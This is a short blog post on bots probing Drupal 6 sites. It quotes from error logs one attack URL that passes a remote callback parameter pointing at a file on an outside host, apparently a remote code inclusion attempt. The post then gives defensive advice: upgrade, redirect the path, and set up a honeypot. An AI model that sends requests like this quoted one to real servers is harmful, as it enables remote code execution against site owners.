Drupal Hack Attacks

If you run a drupal site you’re more than likely seeing a bunch of errors in your error log like http://{your domain here}/drupal?_menu[callbacks][1][callback]=http%3A/%252Fpremier.com.tr/edestek/files/index.gif%3F%3F These are a result of bots trying to exploit a bug in Drupal 6.x that has now been fixed (please upgrade if your using an older version of Drupal 6).

Here’s a few things you can do to mess up the bots:

  • Download the path redirect module and redirect /drupal to another website.
  • Download the http:bl module and setup /drupal as your honeypot link to help list the originating ip address as a spammer/hacker/bot.

Both of these methods will thwart the bots and help keep your logs clean.